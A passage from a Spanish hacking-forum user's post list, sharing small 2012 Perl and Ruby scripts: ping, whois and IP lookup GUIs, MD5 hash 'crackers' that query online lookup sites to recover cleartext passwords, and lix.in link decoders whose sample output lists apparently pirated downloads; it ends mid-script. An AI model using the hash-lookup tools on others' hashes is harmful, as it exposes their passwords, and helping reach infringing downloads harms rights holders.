Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - BigBear

#271
Scripting / [Ruby] Buscador de sueños 0.1
4 Abril 2012, 18:24 PM
Un buscador de sueños en Ruby

Código (ruby) [Seleccionar]

#!usr/bin/ruby
#Buscador de sueños 0.1
#Coded By Doddy H

require "net/http"

def head()
  print "\n\n-- == Buscador de sueños == --\n\n"
end

def copyright()
  print "\n\n(C) Doddy Hackman 2012\n\n"
  gets.chomp
  exit(1)
end

def toma(web)
  return Net::HTTP.get_response(URI.parse(web)).body
end

head()

print "\n[+] Texto : "
string = gets.chomp

url = "http://www.mis-suenos.org/interpretaciones/buscar?text="+string

code = toma(url)

if code=~/<li>(.*)<\/li>/
  text = $1
  if text == " "
    print "\n\n[-] No encontrado"
  else
    print "\n\n[+] Significado : "+text
  end
end

copyright()

#The End ?
#272
Scripting / [Perl Tk] Ping It 0.1
1 Abril 2012, 03:20 AM
Siempre habia querido hacer este programa en Perl , pero en ese entonces no tenia el tiempo al pedo necesario para hacerlo , que mejor que un sabado a la noche para hacerlo , claro que los sabados y domingo me los tomo como descanso ya que los dias de la semana estudio para unos examenes que se me vienen dentro de poco.

Una imagen del programa


El codigo

Código (perl) [Seleccionar]

#!usr/bin/perl
#Ping It 0.1
#Version Tk
#Coded By Doddy H

use Tk;
use Net::Ping;

my $color_fondo = "black";
my $color_texto = "orange";

#if ( $^O eq 'MSWin32' ) {
#    use Win32::Console;
#    Win32::Console::Free();
#}

my $sax =
 MainWindow->new( -background => $color_fondo, -foreground => $color_texto );
$sax->title("Ping It 0.1 || Coded By Doddy H");
$sax->geometry("350x130+20+20");
$sax->resizable( 0, 0 );

$sax->Label(
   -text       => "Host : ",
   -font       => "Impact",
   -background => $color_fondo,
   -foreground => $color_texto
)->place( -y => 20, -x => 20 );
my $host = $sax->Entry(
   -width      => 30,
   -background => $color_fondo,
   -foreground => $color_texto
)->place( -y => 25, -x => 70 );
$sax->Button(
   -text             => "Ping It",
   -width            => 10,
   -command          => \&pingita,
   -background       => $color_fondo,
   -foreground       => $color_texto,
   -activebackground => $color_texto
)->place( -y => 23, -x => 260 );

my $stat = $sax->Label(
   -text       => "Status : <None>",
   -font       => "Impact",
   -background => $color_fondo,
   -foreground => $color_texto
)->place( -y => 80, -x => 110 );

MainLoop;

sub pingita {

   $clas = Net::Ping->new("icmp");
   if ( $clas->ping( $host->get ) ) {
       $stat->configure( -text => "The host is alive" );
   }
   else {
       $stat->configure( -text => "The host is offline" );
   }
}

#The End ?

#273
Scripting / [Perl Tk] Whois Client 0.2
1 Abril 2012, 03:20 AM
La version mejorada de un cliente whois que hice hace un largooooooooo tiempo.

Para usarlo tienen que instalar el modulo necesario de la siguiente manera.


ppm install http://www.bribes.org/perl/ppm/Net-Whois-Raw.ppd


Una imagen del programa


El codigo es

Código (perl) [Seleccionar]

#!usr/bin/perl
#Whois Client 0.2
#Coded By Doddy H
#ppm install http://www.bribes.org/perl/ppm/Net-Whois-Raw.ppd

use Tk;
use Tk::ROText;
use Net::Whois::Raw;

#if ( $^O eq 'MSWin32' ) {
#    use Win32::Console;
#   Win32::Console::Free();
#}

my $color_fondo = "black";
my $color_texto = "cyan";

$yu =
  MainWindow->new( -background => $color_fondo, -foreground => $color_texto );
$yu->title("Whois Client 0.2 || Coded By Doddy H");
$yu->geometry("400x350+20+20");
$yu->resizable( 0, 0 );

$yu->Label(
    -text       => "Page : ",
    -font       => "Impact",
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 20, -y => 20 );
my $targe = $yu->Entry(
    -width      => 35,
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 70, -y => 26 );
$yu->Button(
    -text             => "Get Info",
    -width            => 10,
    -background       => $color_fondo,
    -foreground       => $color_texto,
    -activebackground => $color_texto,
    -command          => \&whoisit
)->place( -x => 290, -y => 24 );
$yu->Label(
    -text       => "Information",
    -font       => "Impact",
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 140, -y => 85 );
my $data = $yu->Scrolled(
    "ROText",
    -width      => 40,
    -height     => 12,
    -scrollbars => "e",
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 45, -y => 150 );

sub whoisit {

    $data->delete( "0.1", "end" );
    $data->insert( "end", whois( $targe->get ) );

}

MainLoop;

#The End ?
#274
Scripting / [Perl Tk] Get IP 0.1
1 Abril 2012, 02:04 AM
Estaba muriendome de aburrimiento y me programe este pequeño programa en 5 minutos , que sirve para obtener la IP de un Host cualquiera.

Una imagen


El codigo

Código (perl) [Seleccionar]

#!usr/bin/perl
#Get IP 0.1
#Version Tk
#Coded By Doddy H

use Tk;
use IO::Socket;

my $color_fondo = "black";
my $color_texto = "yellow";

#if ( $^O eq 'MSWin32' ) {
#    use Win32::Console;
#   Win32::Console::Free();
#}

my $ua =
  MainWindow->new( -background => $color_fondo, -foreground => $color_texto );
$ua->title("Get IP || Coded By Doddy H");
$ua->geometry("350x110+20+20");
$ua->resizable( 0, 0 );

$ua->Label(
    -text       => "Host : ",
    -font       => "Impact",
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -y => 20, -x => 20 );
my $host = $ua->Entry(
    -width      => 30,
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -y => 25, -x => 70 );
$ua->Button(
    -text             => "Get IP",
    -width            => 10,
    -command          => \&quien,
    -background       => $color_fondo,
    -foreground       => $color_texto,
    -activebackground => $color_texto
)->place( -y => 23, -x => 260 );

$ua->Label(
    -text       => "IP : ",
    -font       => "Impact",
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -y => 60, -x => 20 );
my $ip = $ua->Entry(
    -width      => 33,
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -y => 65, -x => 52 );

MainLoop;

sub quien {
    $ip->configure( -text => get_ip( $host->get ) );
}

sub get_ip {
    my $get = gethostbyname( $_[0] );
    return inet_ntoa($get);
}

#The End ?
#275
Scripting / [Perl Tk] Finder Pass 0.4
31 Marzo 2012, 22:47 PM
La version Tk de este programa que eh hecho para crackear hashes md5 de forma online

Una imagen seria


El codigo

Código (perl) [Seleccionar]

#!usr/bin/perl
#Finder Pass 0.4
#Version Tk
#Coded By Doddy H

use Tk;
use Tk::ListBox;
use Tk::Dialog;
use Tk::FileSelect;
use Cwd;
use LWP::UserAgent;

my $nave = LWP::UserAgent->new;
$nave->agent(
"Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12"
);
$nave->timeout(5);

if ( $^O eq 'MSWin32' ) {
    use Win32::Console;
    Win32::Console::Free();
}

my $color_fondo = "black";
my $color_texto = "red";

my $ta =
  MainWindow->new( -background => $color_fondo, -foreground => $color_texto );
$ta->title("Finder Pass 0.4 (C) Doddy Hackman 2012");
$ta->geometry("600x400+20+20");
$ta->resizable( 0, 0 );

$d = $ta->Frame(
    -relief     => "sunken",
    -bd         => 1,
    -background => $color_fondo,
    -foreground => $color_texto
);
my $max = $d->Menubutton(
    -text             => "Options",
    -underline        => 1,
    -background       => $color_fondo,
    -foreground       => $color_texto,
    -activebackground => $color_texto
)->pack( -side => "left" );
my $aba = $d->Menubutton(
    -text             => "About",
    -underline        => 1,
    -background       => $color_fondo,
    -foreground       => $color_texto,
    -activebackground => $color_texto
)->pack( -side => "left" );
my $exa = $d->Menubutton(
    -text             => "Exit",
    -underline        => 1,
    -background       => $color_fondo,
    -foreground       => $color_texto,
    -activebackground => $color_texto
)->pack( -side => "left" );
$d->pack( -side => "top", -fill => "x" );

$max->command(
    -label      => "Crack",
    -background => $color_fondo,
    -foreground => $color_texto,
    -command    => \&cracknow
);
$max->command(
    -label      => "Add Hash",
    -background => $color_fondo,
    -foreground => $color_texto,
    -command    => \&addhash
);
$max->command(
    -label      => "Add File with hashes",
    -background => $color_fondo,
    -foreground => $color_texto,
    -command    => \&addfilea
);
$max->command(
    -label      => "Clean List",
    -background => $color_fondo,
    -foreground => $color_texto,
    -command    => \&cleanow
);

$aba->command(
    -label      => "About",
    -background => $color_fondo,
    -foreground => $color_texto,
    -command    => \&about
);

$exa->command(
    -label      => "Exit",
    -background => $color_fondo,
    -foreground => $color_texto,
    -command    => \&salir
);

$ta->Label(
    -text       => "Hashes",
    -background => $color_fondo,
    -foreground => $color_texto,
    -font       => "Impact"
)->place( -x => 110, -y => 50 );
my $had = my $has = $ta->Listbox(
    -width      => 36,
    -height     => 15,
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 32, -y => 100 );

$ta->Label(
    -text       => "Results",
    -background => $color_fondo,
    -foreground => $color_texto,
    -font       => "Impact"
)->place( -x => 380, -y => 50 );
my $red = my $res = $ta->Listbox(
    -width      => 36,
    -height     => 15,
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 300, -y => 100 );

my $status = $ta->Label(
    -text       => "Status : <None>",
    -background => $color_fondo,
    -foreground => $color_texto,
    -font       => "Impact1"
)->place( -x => 220, -y => 350 );

MainLoop;

sub cracknow {

    my @hashes = $had->get( "0.0", "end" );
    my @hashes = repes(@hashes);

    for my $ha (@hashes) {
        $status->configure( -text => "[+] Searching .." );
        $ta->update;
        my $re = crackit($ha);
        if ( $re =~ /false01/ig ) {
            $red->insert( "end", "Not Found" );
        }
        else {
            $red->insert( "end", $re );
            savefile( "hashes-found.txt", $ha . ":" . $re );
        }
    }
    $status->configure( -text => "Status : <None>" );
}

sub addfilea {

    my $mediox = MainWindow->new(
        -background => $color_fondo,
        -foreground => $color_texto
    );
    $mediox->geometry("390x90+20+20");
    $mediox->resizable( 0, 0 );
    $mediox->title("Add File");

    $mediox->Label(
        -text       => "File : ",
        -background => $color_fondo,
        -foreground => $color_texto,
        -font       => "Impact1"
    )->place( -x => 10, -y => 30 );
    my $enafa = $mediox->Entry(
        -background => $color_fondo,
        -foreground => $color_texto,
        -width      => 33
    )->place( -y => 33, -x => 55 );
    $mediox->Button(
        -text             => "Browse",
        -background       => $color_fondo,
        -foreground       => $color_texto,
        -width            => 7,
        -activebackground => $color_texto,
        -command          => \&bronax
    )->place( -y => 33, -x => 265 );
    $mediox->Button(
        -text             => "Load",
        -background       => $color_fondo,
        -foreground       => $color_texto,
        -width            => 7,
        -activebackground => $color_texto,
        -command          => \&bronaxx
    )->place( -y => 33, -x => 320 );

    sub bronax {
        $browse = $mediox->FileSelect( -directory => getcwd() );
        my $fileax = $browse->Show;
        $enafa->configure( -text => $fileax );
    }

    sub bronaxx {
        open( OPEN, $enafa->get );
        my @ve = <OPEN>;
        close OPEN;
        for my $no (@ve) {
            chomp $no;
            if ( ver_length($no) ) {
                $had->insert( "end", $no );
            }
        }
    }
}

sub addhash {

    my $plac = MainWindow->new(
        -background => $color_fondo,
        -foreground => $color_texto
    );
    $plac->geometry("350x90+20+20");
    $plac->resizable( 0, 0 );
    $plac->title("Add Hash");

    $plac->Label(
        -text       => "Hash : ",
        -background => $color_fondo,
        -foreground => $color_texto,
        -font       => "Impact1"
    )->place( -x => 10, -y => 30 );
    my $ewa = $plac->Entry(
        -background => $color_fondo,
        -foreground => $color_texto,
        -width      => 33
    )->place( -y => 33, -x => 60 );
    $plac->Button(
        -text             => "Add",
        -background       => $color_fondo,
        -activebackground => $color_texto,
        -foreground       => $color_texto,
        -width            => 7,
        -command          => \&addnowa
    )->place( -y => 33, -x => 275 );

    sub addnowa {
        if ( ver_length( $ewa->get ) ) {
            $had->insert( "end", $ewa->get );
        }
        else {
            $ta->Dialog(
                -title            => "Error",
                -buttons          => ["OK"],
                -text             => "Hash invalid",
                -background       => $color_fondo,
                -foreground       => $color_texto,
                -activebackground => $color_texto
            )->Show();
        }
    }
}

sub cleanow {
    $had->delete( 0.0, "end" );
    $red->delete( 0.0, "end" );
}

sub about {
    $ta->Dialog(
        -title            => "About",
        -buttons          => ["OK"],
        -text             => "This program was coded by Doddy Hackman in 2012",
        -background       => $color_fondo,
        -foreground       => $color_texto,
        -activebackground => $color_text
    )->Show();
}

sub salir {
    exit(1);
}

sub crackit {

    my $target = shift;

    chomp $target;

    my %hash = (

        'http://md5.hashcracking.com/search.php?md5=' => {
            'tipo'  => 'get',
            'regex' => "Cleartext of $target is (.*)",
        },

        'http://www.hashchecker.com/index.php?_sls=search_hash' => {
            'variables' => { 'search_field' => $target, 'Submit' => 'search' },
            'regex' =>
              "<td><li>Your md5 hash is :<br><li>$target is <b>(.*)<\/b>",
        },

        'http://md5.rednoize.com/?q=' => {
            'tipo'  => 'get',
            'regex' => "<div id=\"result\" >(.*)<\/div>"
        },

        'http://md52.altervista.org/index.php?md5=' => {
            'tipo'  => 'get',
            'regex' => "<br>Password: <font color=\"Red\">(.*)<\/font><\/b>"
          }

    );

    for my $data ( keys %hash ) {
        $ta->update;
        if ( $hash{$data}{tipo} eq "get" ) {
            $code = toma( $data . $target );
            if ( $code =~ /$hash{$data}{regex}/ig ) {
                my $found = $1;
                unless ( $found =~ /\[Non Trovata\]/ ) {
                    return $found;
                    last;
                }
            }
        }
        else {
            $code = tomar( $data, $hash{$data}{variables} );
            if ( $code =~ /$hash{$data}{regex}/ig ) {
                my $found = $1;
                return $found;
                last;
            }
        }
    }
    return "false01";
}

sub savefile {
    open( SAVE, ">>" . $_[0] );
    print SAVE $_[1] . "\n";
    close SAVE;
}

sub repes {
    my @limpio;
    foreach $test (@_) {
        push @limpio, $test unless $repe{$test}++;
    }
    return @limpio;
}

sub ver_length {
    return true if length( $_[0] ) == 32;
}

sub toma {
    return $nave->get( $_[0] )->content;
}

sub tomar {
    my ( $web, $var ) = @_;
    return $nave->post( $web, [ %{$var} ] )->content;
}

#The End ?
#276
Scripting / [Perl] Finder Pass 0.3
31 Marzo 2012, 22:46 PM
La nueva version de un programa que habia hecho para crackear hashes md5 mediante paginas online.

Código (perl) [Seleccionar]

#!usr/bin/perl
#Finder Pass 0.3
#Coded By Doddy H

use LWP::UserAgent;

my $nave = LWP::UserAgent->new;
$nave->agent(
"Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12"
);
$nave->timeout(5);

menu();

sub menu {

    head();

    print "[+] Option : ";
    chomp( my $op = <stdin> );

    if ( $op eq "1" ) {
        print "\n\n[+] Hash : ";
        chomp( my $ha = <stdin> );
        if ( ver_length($ha) ) {
            print "\n\n[+] Cracking Hash...\n";
            my $re = crackit($ha);
            unless ( $re =~ /false01/ ) {
                print "\n[+] Cracked : $re\n\n";
                savefile( "hashes-found.txt", $ha . ":" . $re );
            }
            else {
                print "\n[-] Not Found\n\n";
            }
        }
        else {
            print "\n\n[-] Hash invalid\n\n";
        }
        print "\n[+] Finished";
        <stdin>;
        menu();
    }
    if ( $op eq "2" ) {
        print "\n\n[+] Wordlist : ";
        chomp( my $fi = <stdin> );
        if ( -f $fi ) {
            print "\n\n[+] Opening File\n";
            open( WORD, $fi );
            my @varios = <WORD>;
            close WORD;
            my @varios = repes(@varios);
            print "[+] Hashes Found : " . int(@varios);
            print "\n\n[+] Cracking hashes...\n\n";
            for $hash (@varios) {
                chomp $hash;
                if ( ver_length($hash) ) {
                    my $re = crackit($hash);
                    unless ( $re =~ /false01/ ) {
                        print "[+] $hash : $re\n";
                        savefile( "hashes-found.txt", $hash . ":" . $re );
                    }
                }
            }
        }
        else {
            print "\n\n[-] File Not Found\n\n";
        }
        print "\n[+] Finished";
        <stdin>;
        menu();
    }
    if ( $op eq "3" ) {
        copyright();
    }
}

sub crackit {

    my $target = shift;

    chomp $target;

    my %hash = (

        'http://md5.hashcracking.com/search.php?md5=' => {
            'tipo'  => 'get',
            'regex' => "Cleartext of $target is (.*)",
        },

        'http://www.hashchecker.com/index.php?_sls=search_hash' => {
            'variables' => { 'search_field' => $target, 'Submit' => 'search' },
            'regex' =>
              "<td><li>Your md5 hash is :<br><li>$target is <b>(.*)<\/b>",
        },

        'http://md5.rednoize.com/?q=' => {
            'tipo'  => 'get',
            'regex' => "<div id=\"result\" >(.*)<\/div>"
        },

        'http://md52.altervista.org/index.php?md5=' => {
            'tipo'  => 'get',
            'regex' => "<br>Password: <font color=\"Red\">(.*)<\/font><\/b>"
          }

    );

    for my $data ( keys %hash ) {
        if ( $hash{$data}{tipo} eq "get" ) {
            $code = toma( $data . $target );
            if ( $code =~ /$hash{$data}{regex}/ig ) {
                my $found = $1;
                unless ( $found =~ /\[Non Trovata\]/ ) {
                    return $found;
                    last;
                }
            }
        }
        else {
            $code = tomar( $data, $hash{$data}{variables} );
            if ( $code =~ /$hash{$data}{regex}/ig ) {
                my $found = $1;
                return $found;
                last;
            }
        }
    }
    return "false01";
}

sub copyright {
    print "\n\n(C) Doddy Hackman 2012\n";
    <stdin>;
    exit(1);
}

sub head {
    print qq(


##########  #########  #########     #####   #    ###  ###
#  # #  ##  #  #   #   #  # #  #     #  #   #   #  # #  #
#    #  ##  #  #    #  #    #  #     #  #  # #  #    #   
###  #  # # #  #    #  ###  ###      ###   # #   ##   ##
#    #  # # #  #    #  #    # #      #    #####    #    #
#    #  #  ##  #   #   #  # #  #     #    #   # #  # #  #
###  ######  # #####   ########  #   ###  ### ######  ###




[++] Options


[+] 1 : Hash
[+] 2 : File with hashes
[+] 3 : Exit


);
}

sub savefile {
    open( SAVE, ">>" . $_[0] );
    print SAVE $_[1] . "\n";
    close SAVE;
}

sub repes {
    my @limpio;
    foreach $test (@_) {
        push @limpio, $test unless $repe{$test}++;
    }
    return @limpio;
}

sub ver_length {
    return true if length( $_[0] ) == 32;
}

sub toma {
    return $nave->get( $_[0] )->content;
}

sub tomar {
    my ( $web, $var ) = @_;
    return $nave->post( $web, [ %{$var} ] )->content;
}

#The End ?
#277
Scripting / [Perl Tk] Lix.In Decoder 0.2
28 Marzo 2012, 22:57 PM
Hola a todos.

Aca les traigo la version Tk de un script que habia hecho para decodificar las url lix.in

Lo bueno del programa es que guarda todo los logs en la carpeta donde ejecutaron el programa

Una imagen del programa seria


Código (perl) [Seleccionar]

#!usr/bin/perl
#Lix.In Decoder 0.2
#Version Tk
#Coded By Doddy H

use LWP::UserAgent;
use URI::Split qw(uri_split);
use Tk;
use Tk::Dialog;

#if ( $^O eq 'MSWin32' ) {
#    use Win32::Console;
#    Win32::Console::Free();
#}

my $nave = LWP::UserAgent->new;
$nave->agent(
"Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12"
);
$nave->timeout(5);

my $color_fondo = "black";
my $color_text  = "green";

my $ben =
  MainWindow->new( -background => $color_fondo, -foreground => $color_text );

$ben->title("Lix.In Decoder 0.2 (C) Doddy Hackman 2012");
$ben->geometry("492x385+20+20");
$ben->resizable( 0, 0 );

$ben->Label(
    -background => $color_fondo,
    -foreground => $color_text,
    -text       => "Page : ",
    -font       => "Impact1"
)->place( -x => 20, -y => 20 );
my $page = $ben->Entry(
    -background => $color_fondo,
    -foreground => $color_text,
    -width      => 40
)->place( -x => 73, -y => 24 );

$ben->Button(
    -text             => "Decode",
    -width            => 10,
    -command          => \&home,
    -background       => $color_fondo,
    -foreground       => $color_text,
    -activebackground => $color_text
)->place( -x => 325, -y => 23 );
$ben->Button(
    -text             => "Logs",
    -width            => 10,
    -command          => \&logs,
    -background       => $color_fondo,
    -foreground       => $color_text,
    -activebackground => $color_text
)->place( -x => 400, -y => 23 );

$ben->Label(
    -text       => "Links Found",
    -font       => "Impact",
    -background => $color_fondo,
    -foreground => $color_text
)->place( -x => 200, -y => 80 );
my $links = $ben->Listbox(
    -width      => 70,
    -height     => 15,
    -background => $color_fondo,
    -foreground => $color_text
)->place( -x => 32, -y => 140 );

MainLoop;

sub home {

    $links->delete( "0.0", "end" );

    my $url = $page->get;

    my $code = toma($url);

    while ( $code =~ m{http://lix\.in/(-\w+)}ig ) {
        push( @urls, "http://lix.in/" . $1 );
    }

    while ( $code =~ m{http://lix\.in/(\w+)}ig ) {
        push( @urls, "http://lix.in/-" . $1 );
    }

    my @urls = repes(@urls);

    for my $l (@urls) {
        chomp $l;
        $ben->update;
        decode_link( $l, $url );
    }
}

sub decode_link {

    my ( $link, $url ) = @_;

    my ( $scheme, $auth, $path, $query, $frag ) = uri_split($url);

    if ( $link =~ /-(.*)/ ) {
        my $co = "-" . $1;
        chomp $co;
        my $code =
          tomar( $link,
            { "tiny" => $co, "submit" => "continue", "submit" => "submit" } );
        if ( $code =~ /<iframe  name="ifram" src="(.*)" marginwidth="0"/ ) {
            my $link = $1;
            chomp $link;
            unless ( $link =~ /lix\.in/ ) {
                savefile( $auth . ".txt", $link );
                $links->insert( "end", $link );
            }
        }
    }
}

sub logs {

    my ( $scheme, $auth, $path, $query, $frag ) = uri_split( $page->get );
    my $f = $auth . ".txt";

    if ( -f $f ) {
        system($f);
    }
    else {
        $ben->Dialog(
            -title            => "Error",
            -buttons          => ["OK"],
            -text             => "Logs not found",
            -background       => $color_fondo,
            -foreground       => $color_text,
            -activebackground => $color_text
        )->Show();
    }
}

sub repes {
    my @limpio;
    foreach $test (@_) {
        push @limpio, $test unless $repe{$test}++;
    }
    return @limpio;
}

sub savefile {
    open( SAVE, ">>" . $_[0] );
    print SAVE $_[1] . "\n";
    close SAVE;
}

sub toma {
    return $nave->get( $_[0] )->content;
}

sub tomar {
    my ( $web, $var ) = @_;
    return $nave->post( $web, [ %{$var} ] )->content;
}

# The End ?

#278
Scripting / [Perl] Lix In Decoder 0.1
26 Marzo 2012, 19:45 PM
Bueno , hice este programa para poder descargar juegos cuando entraba en una pagina y veia que todos los links estaban en lix.in , para usar este programa deben poner la url de la pagina que tiene los links lix.in , el programa automaticamente captura todos los links de la pagina y comienza a mostrar las verdaderas urls en pantalla.
Al parecer no eh tenido ningun problema con ningun Captcha , puesto que lo eh probado varias veces en diferentes paginas.

El codigo es el siguiente

Código (perl) [Seleccionar]

#!usr/bin/perl
#Lix.In Decoder 0.1
#Coded By Doddy H

use LWP::UserAgent;
use URI::Split qw(uri_split);

my $nave = LWP::UserAgent->new;
$nave->agent(
"Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12"
);
$nave->timeout(5);

#Tests
#my $url = "http://taringaa.bligoo.com/content/view/858363/Comand-Conquer-Red-Alert-III-Full-1-link.html";
#my $url = "http://www.taringa.net/posts/animaciones/4164567.R/Saint-Seiya-Mei_-Hades-ElysionHen_Campos-Eliseos_-Vol-10_11.html";
#my $url = "http://www.gratisjuegos.org/descargar/muchos-juegos-en-pocos-links/";
#my $url = "http://eminemdownloads.blogspot.com.ar/2007/03/discografia.html";

##

header();

print "\n[+] Page : ";
chomp( my $url = <stdin> );

print "\n\n[+] Loading page ...\n";

my $code = toma($url);

print "[+] Getting links ...\n";

while ( $code =~ m{http://lix\.in/(-\w+)}ig ) {
    push( @urls, "http://lix.in/" . $1 );
}

while ( $code =~ m{http://lix\.in/(\w+)}ig ) {
    push( @urls, "http://lix.in/-" . $1 );
}

print "[+] Decoding links lix.in ....\n\n";

my @urls = repes(@urls);

for (@urls) {
    decode_link( $_, $url );
}

copyright();

##

sub decode_link {

    my ( $link, $url ) = @_;

    my ( $scheme, $auth, $path, $query, $frag ) = uri_split($url);

    if ( $link =~ /-(.*)/ ) {
        my $co = "-" . $1;
        chomp $co;
        my $code =
          tomar( $link,
            { "tiny" => $co, "submit" => "continue", "submit" => "submit" } );
        if ( $code =~ /<iframe  name="ifram" src="(.*)" marginwidth="0"/ ) {
            my $link = $1;
            chomp $link;
            unless ( $link =~ /lix\.in/ ) {
                savefile( $auth . ".txt", $link );
                print "[+] Link : $link\n";
            }
        }
    }
}

sub repes {
    foreach $test (@_) {
        push @limpio, $test unless $repe{$test}++;
    }
    return @limpio;
}

sub header {

    print qq(


@     @         @           @@@@                          @         
@               @           @   @                         @         
@               @           @    @                        @         
@     @ @  @    @  @ @@     @    @   @@@   @@@   @@@   @@@@  @@@  @@
@     @ @  @    @  @@  @    @    @  @   @ @   @ @   @ @   @ @   @ @
@     @  @@     @  @   @    @    @  @@@@@ @     @   @ @   @ @@@@@ @
@     @  @@     @  @   @    @    @  @     @     @   @ @   @ @     @
@     @ @  @    @  @   @    @   @   @   @ @   @ @   @ @   @ @   @ @
@@@@@ @ @  @    @  @   @    @@@@     @@@   @@@   @@@   @@@@  @@@  @


);

}

sub savefile {
    open( SAVE, ">>" . $_[0] );
    print SAVE $_[1] . "\n";
    close SAVE;
}

sub copyright {
    print "\n\n(C) Doddy Hackman 2012\n\n";
    <stdin>;
    exit(1);
}

sub toma {
    return $nave->get( $_[0] )->content;
}

sub tomar {
    my ( $web, $var ) = @_;
    return $nave->post( $web, [ %{$var} ] )->content;
}

# The End ?


Les dejo un ejemplo de uso




@     @         @           @@@@                          @
@               @           @   @                         @
@               @           @    @                        @
@     @ @  @    @  @ @@     @    @   @@@   @@@   @@@   @@@@  @@@  @@
@     @ @  @    @  @@  @    @    @  @   @ @   @ @   @ @   @ @   @ @
@     @  @@     @  @   @    @    @  @@@@@ @     @   @ @   @ @@@@@ @
@     @  @@     @  @   @    @    @  @     @     @   @ @   @ @     @
@     @ @  @    @  @   @    @   @   @   @ @   @ @   @ @   @ @   @ @
@@@@@ @ @  @    @  @   @    @@@@     @@@   @@@   @@@   @@@@  @@@  @



[+] Page : http://www.gratisjuegos.org/descargar/muchos-juegos-en-pocos-links/


[+] Loading page ...
[+] Getting links ...
[+] Decoding links lix.in ....

[+] Link : http://www.fileserve.com/file/4UauNpZ
[+] Link : http://www.megaupload.com/?d=JDJOXNCG
[+] Link : http://www.megaupload.com/?d=DOIPB44O
[+] Link : http://turbobit.net/u1savmp0dp82/BaixandoFacil.com_Raising.Hope.S02E1
5.rmvb.html
[+] Link : http://www.megaupload.com/?d=TWZXM4OA
[+] Link : http://rapidshare.com/files/326639218/mmph.rar
[+] Link : http://uploading.com/files/8m55a3e9/Hitomi%2527s%2BCherry%2BRed%2BLip
s%2B%255BSasagawa%2BHayashi%255D.rar/
[+] Link : http://protector.to/download/296576/66637b4defe247e6b465c15b6daadb88.
html
[+] Link : http://rapidshare.com/files/222173802/Hiroshima_Will_Burn_-_To_The_We
ight_Of_All_Things_-__2009__By_Disgorge.rar
[+] Link : http://www.megaupload.com/?d=ILUL67F0
[+] Link : http://rapidshare.com/files/168921368/Ab_-_2006_-_T_D_P_-_melodeath.o
rg.rar
[+] Link : http://rapidshare.com/files/206107948/aHD_GArt_1_LuFr_wm.part1.rar
[+] Link : http://rapidshare.com/files/144375887/B.WoLF.MtbX.part07.rar
[+] Link : http://rapidshare.com/files/202336513/Die__rzte__Wir_wollen_nur_deine
_Seele_I_.rar.html
[+] Link : http://rapidshare.com/files/310131228/ls_cta_01.part1.rar
[+] Link : http://rapidshare.com/files/117343572/georemichahshootdo.rar
[+] Link : http://www.megaupload.com/?d=3JGC8I3J
[+] Link : http://repidshare.uni.cc/up/files.php?rs=http://rs.rapidshare.com/fil
es/121698550/www.xvidfilm.com_shtrr.HD.tr_barlas.part22.rar&amp;s=
[+] Link : http://rapidshare.com/files/379279204/bndpq__smscl_rmntcincrble.karma
.rar
[+] Link : http://www.megaupload.com/?d=ES5U6KVW
[+] Link : http://turbobit.net/hxombgi9wguf.html
[+] Link : http://hotfile.com/dl/38699729/4dbfbdf/Brothers.Sisters.2x01.by.www.s
eriesfree.biz.rmvb.html
[+] Link : http://www.filesonic.jp/file/1542896624
[+] Link : http://rapidshare.com/files/251767677/Knowing_Blurayindir.com.part122
.rar
[+] Link : http://img199.imageshack.us/img199/5452/lastsamurai.jpg
[+] Link : http://www.megaupload.com/?d=AAG4X8X2
[+] Link : http://ul.to/8hkfdh
[+] Link : http://hotfile.com/dl/594136/1934718/My.Name.Is.Earl.S04E24.HDTV.XviD
-LOL.avi.html
[+] Link : http://hotfile.com/dl/31792875/9882fa9/chandelier_jpn.rar.html
[+] Link : http://www.megaupload.com/?d=PV6BJMHJ
[+] Link : http://rapidshare.com/files/163195270/the_killers.rar
[+] Link : http://repidshare.uni.cc/up/files.php?rs=http://rs110.rapidshare.com/
files/88759448/TamGaz.part5.rar&amp;s=104857
[+] Link : http://rapidshare.com/files/183553695/Anita_Pearl_Little_Red_In_The_O
ffice.rar


(C) Doddy Hackman 2012
#279
Scripting / [Perl Tk] LocateIP 0.4
24 Marzo 2012, 22:53 PM
Un simple programa en Perl que sirve para buscar informacion sobre una IP , primero busca la localizacion y despues busca las DNS relacionadas.

Les dejo una imagen del programa


El codigo (formateado con perltidy) es

Código (perl) [Seleccionar]

#!usr/bin/perl
#Locate IP 0.4
#Version Tk
#Coded By Doddy H

use Tk;
use LWP::UserAgent;
use IO::Socket;

my $background_color = "black";
my $texto_color      = "green";

if ( $^O eq 'MSWin32' ) {
    use Win32::Console;
    Win32::Console::Free();
}

installer();

my $nave = LWP::UserAgent->new;
$nave->agent(
"Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12"
);
$nave->timeout(5);

$p = MainWindow->new(
    -background => $background_color,
    -foreground => $texto_color
);
$p->title("Locate IP 0.4 || Coded By Doddy H");
$p->geometry("440x300+20+20");
$p->resizable( 0, 0 );

$p->Label(
    -text       => "Target : ",
    -font       => "Impact",
    -background => $background_color,
    -foreground => $texto_color
)->place( -x => 20, -y => 20 );
my $tar = $p->Entry(
    -width      => 30,
    -background => $background_color,
    -foreground => $texto_color
)->place( -y => 24, -x => 80 );
$p->Button(
    -text             => "Find",
    -width            => 10,
    -background       => $background_color,
    -foreground       => $texto_color,
    -activebackground => $texto_color,
    -command          => \&st
)->place( -y => 23, -x => 272 );
$p->Button(
